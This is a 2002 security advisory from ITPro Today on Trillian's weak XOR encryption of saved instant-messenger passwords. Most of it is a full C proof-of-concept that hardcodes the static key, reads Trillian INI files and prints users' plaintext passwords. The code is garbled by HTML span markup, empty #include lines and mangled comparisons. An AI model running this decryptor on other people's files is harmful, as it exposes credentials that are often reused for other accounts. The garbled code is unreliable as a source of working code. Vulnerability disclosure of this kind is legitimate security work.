Weak Password Encryption Vulnerability in Cerulean Studios' Trillian Instant Messenger

A vulnerability exists in the Trillian instant messaging client that can let an attacker exploit a weakness in the encryption scheme the software uses to store user authentication credentials.

Ken Pfeil

September 17, 2002

12 Min Read
ITPro Today logo

Reported September 09, 2002, byEvan Nemerson.

VERSIONS AFFECTED

  • Cerulean Studios’ Trillian 0.73, 0.725, and 0.6351 instant messenger for Windows

DESCRIPTION

A vulnerability exists in the Trillian instant messaging client thatcan let an attacker exploit a weakness in the encryption scheme the softwareuses to store user authentication credentials. The software uses XOR with astatic key that is used with every installation of the software to encrypt thesecredentials. A local attacker can exploit this weakness to gain access toanother user's instant messaging credentials.

 

DEMONSTRATION

 

The discoverer posted the following exploit code asproof-of-concept:

 

/********************************
 * trillian-ini-decrypt
 * By The Coeus Group
 * http://www.coeus-group.com
 ********************************
 * <span style="mso-tab-count:1">        Software: <span style="mso-tab-count:1">        Trillian 0.73, possibly others.</span></span>
 *<span style="mso-tab-count:1">        Issue:<span style="mso-tab-count:1">              Weak "encryption" of saved passwords.</span></span>
 *<span style="mso-tab-count:1">        Impact:<span style="mso-tab-count:1">             Decryption of saved passwords.</span></span>
 *<span style="mso-tab-count:1">  Severity:<span style="mso-tab-count:1">  Medium. ish. The program only works locally, and only</span></span>
 *<span style="mso-tab-count:1">        if the subject has saved their password, and really</span>
 *<span style="mso-tab-count:2">      <span style="mso-tab-count:1">  if someone can get into your AIM account, how earth-</span></span>
 *<span style="mso-tab-count:2">      <span style="mso-tab-count:1">  shattering is that??? However, since a lot of people</span></span>
 *<span style="mso-tab-count:2">      <span style="mso-tab-count:1">  use the same password for everything... What's easier,</span></span>
 *<span style="mso-tab-count:2">      <span style="mso-tab-count:1">  getting the password from Trillian, or Wells Fargo???</span></span>
 ********************************
 * Trillian is, according to trillian.cc, "...everything you need for
 * instant messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN
 * Messenger, Yahoo! Messenger and IRC in a single, sleek and slim
 * interface."
 *
 * Upon examination of the Trillian directory (which defaults to
 * C:Program FilesTrillian ), it appears that passwords are stored in
 * ini files that are located in {Path to
 * Trillian}users\{WindowsLogon}. The passwords are encrypted using a
 * simple XOR with a key apparently uniform throughout every
 * installation.
 *
 * This program takes, as command line argument(s), path(s) to these INI
 * files. It will then display a list of usernames, "encrypted"
 * passwords, and plaintext passwords.
 *
 * Evan Nemerson
 * [email protected] */
 
#include 
#include 
#include 
 
#ifndef FALSE
#define FALSE 0
#endif
 
#ifndef TRUE
#define TRUE 1
#endif
 
void toupper(char* string);
int strlen(const char *s);
int strBeginsWith(const char *needle, const char *haystack);
int strIs(const char *subj, const char *eq);
void extractAcctounts(FILE *fp);
char *hex2str(char *string);
void decrypt();
void outPasswds();
void printhelp();
int main(int argc, char *argv[]);
 
struct account
{
<span style="mso-tab-count:1">        char username[64];</span>
<span style="mso-tab-count:1">        char cyphertext[64];</span>
<span style="mso-tab-count:1">        char plaintext[32];</span>
};
 
extern int errno;
struct account *pAccounts[32];
short int nAccounts = 0;
char key[] =<span style="mso-tab-count:1">                "xF3x26x81xC4"</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        "x39x86xDBx92"</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        "x71xA3xB9xE6"</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        "x53x7Ax95x7C";</span></span>
 
void toupper(char* string)
{
<span style="mso-tab-count:1">        short int x = 0;</span>
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; (strlen(string)) ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        if ( ( string[x] &gt; 96 ) &amp;&amp; ( string[x] &lt; 123 ) )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        string[x] -= 32;</span></span>
<span style="mso-tab-count:1">        }</span>
}
 
int strlen(const char *s)
{
<span style="mso-tab-count:1">        short int n = 0;</span>
<span style="mso-tab-count:1">        while ( s[n] != 0 )</span>
<span style="mso-tab-count:1">                n++;</span>
<span style="mso-tab-count:1">        return n;</span>
}
 
int strBeginsWith(const char *needle, const char *haystack)
{
<span style="mso-tab-count:1">        short int x;</span>
 
<span style="mso-tab-count:1">        if ( strlen(needle) &gt; strlen(haystack) )</span>
<span style="mso-tab-count:1">                return FALSE;</span>
 
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; strlen(needle) ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        if ( needle[x] != haystack[x] )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        return FALSE;</span></span>
<span style="mso-tab-count:1">        }</span>
 
<span style="mso-tab-count:1">        return TRUE;</span>
}
 
int strIs(const char *subj, const char *eq)
{
<span style="mso-tab-count:1">        short int x;</span>
 
<span style="mso-tab-count:1">        if ( strlen(subj) != strlen(eq) )</span>
<span style="mso-tab-count:1">                return FALSE;</span>
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; strlen(subj) ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        if ( subj[x] != eq[x] )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        return FALSE;</span></span>
<span style="mso-tab-count:1">        }</span>
 
<span style="mso-tab-count:1">        return TRUE;</span>
}
 
void extractAcctounts(FILE *fp)
{
<span style="mso-tab-count:1">        char buff[256], *ptr;</span>
<span style="mso-tab-count:1">        int x;</span>
<span style="mso-tab-count:1">        while ( !feof(fp) )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">                fgets(buff, 255, fp);</span>
<span style="mso-tab-count:1">                if ( strBeginsWith("name=", buff) )</span>
<span style="mso-tab-count:1">                {</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        buff[strlen(buff)-1] = 0;</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        pAccounts[nAccounts] = (struct account*)malloc(sizeof(struct account));</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        if ( pAccounts[nAccounts] </span></span>

NULL )

<span style="mso-tab-count:2"><span style="mso-tab-count:2">            <span style="mso-tab-count:1">        {</span></span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">                perror("Failed to malloc()");</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">                exit(errno);</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        }</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        ptr = pAccounts[nAccounts]-&gt;username;</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        for ( x = 5 ; x &lt; strlen(buff) ; x++ )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        {</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">                ptr[x-5] = buff[x];</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        }</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        ptr[x-5] = 0;</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        nAccounts++;</span></span>
<span style="mso-tab-count:1">                }</span>
<span style="mso-tab-count:1">                if ( strBeginsWith("password=", buff) )</span>
<span style="mso-tab-count:1">                {</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        buff[strlen(buff)-1] = 0;</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        ptr = pAccounts[nAccounts-1]-&gt;cyphertext;</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        for ( x = 9 ; x &lt; strlen(buff) ; x++ )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        {</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">                ptr[x-9] = buff[x];</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        }</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        ptr[x-9] = 0;</span></span>
<span style="mso-tab-count:1">                }</span>
<span style="mso-tab-count:1">        }</span>
}
 
char *hex2str(char *string)
{
<span style="mso-tab-count:1">        int x=0,n=0,i=0;</span>
<span style="mso-tab-count:1">        unsigned char hex[2];</span>
<span style="mso-tab-count:1">        unsigned char *out;</span>
<span style="mso-tab-count:1">        out = (unsigned char*)malloc((strlen(string)/2)+1);</span>
<span style="mso-tab-count:1">        if ( out  NULL )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        perror("Failed to malloc()");</span></span>
<span style="mso-tab-count:1">                exit(errno);</span>
<span style="mso-tab-count:1">        }</span>
 
<span style="mso-tab-count:1">        // For hex number...</span>
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; strlen(string) ; x+=2 )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        out[i] = 0;</span></span>
<span style="mso-tab-count:1">                // Convert ASCII 0-F to decimal.</span>
<span style="mso-tab-count:1">                hex[0] = string[x]-48;</span>
<span style="mso-tab-count:1">                hex[1] = string[x+1]-48;</span>
<span style="mso-tab-count:1">                for ( n = 0 ; n &lt; 2 ; n++ )</span>
<span style="mso-tab-count:1">                {</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        if ( hex[n] &gt; 9 )</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">                hex[n] -= 7;</span></span>
<span style="mso-tab-count:1">                }</span>
<span style="mso-tab-count:1">                out[i++] = (hex[0]*16)+hex[1];</span>
<span style="mso-tab-count:1">        }</span>
<span style="mso-tab-count:1">        out[i++] = 0;</span>
<span style="mso-tab-count:1">        return out;</span>
}
 
void decrypt()
{
<span style="mso-tab-count:1">        int n, x;</span>
<span style="mso-tab-count:1">        char *plain, *cypher;</span>
 
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; nAccounts ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        cypher = hex2str(pAccounts[x]-&gt;cyphertext);</span></span>
<span style="mso-tab-count:1">                plain<span style="mso-spacerun: yes">  = pAccounts[x]-&gt;plaintext;</span></span>
 
<span style="mso-tab-count:1">                for ( n = 0 ; n &lt; (strlen(cypher)-1) ; n++ )</span>
<span style="mso-tab-count:1">                {</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        plain[n] = cypher[n] ^ key[n];</span></span>
<span style="mso-tab-count:1">                }</span>
<span style="mso-tab-count:1">        }</span>
}
 
void outPasswds()
{
<span style="mso-tab-count:1">        int x;</span>
<span style="mso-tab-count:1">        printf(</span>
<span style="mso-tab-count:1">                "/----------------------------\"</span>
<span style="mso-tab-count:1">                "| trillian-ini-decrypt<span style="mso-spacerun: yes">       |"</span></span>
<span style="mso-tab-count:1">                "| By The Coeus Group<span style="mso-spacerun: yes">         |"</span></span>
<span style="mso-tab-count:1">                "| http://www.coeus-group.com |"</span>
<span style="mso-tab-count:1">                "\----------------------------/");</span>
<span style="mso-tab-count:1">        printf("Found %d accounts.", nAccounts);</span>
<span style="mso-tab-count:1">        for ( x = 0 ; x &lt; nAccounts ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        printf(<span style="mso-tab-count:1">        "Username:<span style="mso-spacerun: yes">           : %s"</span></span></span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        "Password (encrypted): %s"</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        "Password (decrypted): %s",</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        pAccounts[x]-&gt;username,</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        pAccounts[x]-&gt;cyphertext,</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        pAccounts[x]-&gt;plaintext</span></span>
<span style="mso-tab-count:1">                );</span>
<span style="mso-tab-count:1">        }</span>
}
 
void printhelp()
{
<span style="mso-tab-count:1">        printf(<span style="mso-tab-count:1">        "Just put the path to Trillian INI file as command-line"</span></span>
<span style="mso-tab-count:1">                "parameter. Don't forget to quote as needed. Will accept"</span>
<span style="mso-tab-count:1">                "multiple files.");</span>
<span style="mso-tab-count:1">        exit(0);</span>
}
 
int main(int argc, char *argv[])
{
<span style="mso-tab-count:1">        short int x;</span>
<span style="mso-tab-count:1">        FILE *fp;</span>
 
<span style="mso-tab-count:1">        if ( ( argc &lt; 2 ) ) { printhelp(); }</span>
<span style="mso-tab-count:1">        if (<span style="mso-tab-count:1">        ( strIs(argv[1],<span style="mso-spacerun: yes">     "-h") )<span style="mso-tab-count:1">       |</span></span></span></span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        ( strIs(argv[1], "--help") )<span style="mso-tab-count:1">       |</span></span></span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        ( strIs(argv[1],<span style="mso-spacerun: yes">     "/?") )</span></span></span>
<span style="mso-tab-count:1">        ) printhelp();</span>
 
<span style="mso-tab-count:1">        for ( x = 1 ; x &lt; argc ; x++ )</span>
<span style="mso-tab-count:1">        {</span>
<span style="mso-tab-count:1">        <span style="mso-tab-count:1">        fp = fopen(argv[x], "r");</span></span>
<span style="mso-tab-count:1">                if ( fp == NULL )</span>
<span style="mso-tab-count:1">                {</span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        perror("Error");</span></span>
<span style="mso-tab-count:2">            <span style="mso-tab-count:1">        exit(errno);</span></span>
<span style="mso-tab-count:1">                }</span>
<span style="mso-tab-count:1">                extractAcctounts(fp);</span>
<span style="mso-tab-count:1">        }</span>
 
<span style="mso-tab-count:1">        decrypt();</span>
<span style="mso-tab-count:1">        outPasswds();</span>
 
<span style="mso-tab-count:1">        return 0;</span>
}

 

 

VENDOR RESPONSE

Thevendor, CeruleanStudios has not issued a fix or patch for this vulnerability.

 

CREDIT
Discovered by EvanNemerson.

Sign up for the ITPro Today newsletter
Stay on top of the IT universe with commentary, news analysis, how-to's, and tips delivered to your inbox daily.

You May Also Like